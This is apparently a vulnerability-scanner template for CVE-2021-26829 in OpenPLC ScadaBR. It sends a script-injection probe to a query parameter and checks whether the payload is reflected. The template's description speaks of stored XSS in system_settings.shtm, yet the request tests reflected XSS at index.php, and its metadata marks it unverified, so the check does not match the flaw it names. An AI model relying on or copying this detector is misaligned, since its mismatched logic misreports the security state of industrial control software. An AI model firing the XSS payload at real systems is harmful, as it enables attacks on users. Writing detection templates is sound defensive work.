id: CVE-2021-26829

info:
  name: "OpenPLC ScadaBR - Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows allows stored XSS via
    system_settings.shtm.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-26829&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=openplc&match=exact
  classification:
    cvss-score: 5.4
    cve-id: CVE-2021-26829
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2021,openplc,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?q="><script>confirm(1kw9dtm5)</script>'
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>confirm(1kw9dtm5)</script>'
      - type: word
        part: header
        words:
          - "text/html"
      - type: status
        status:
          - 200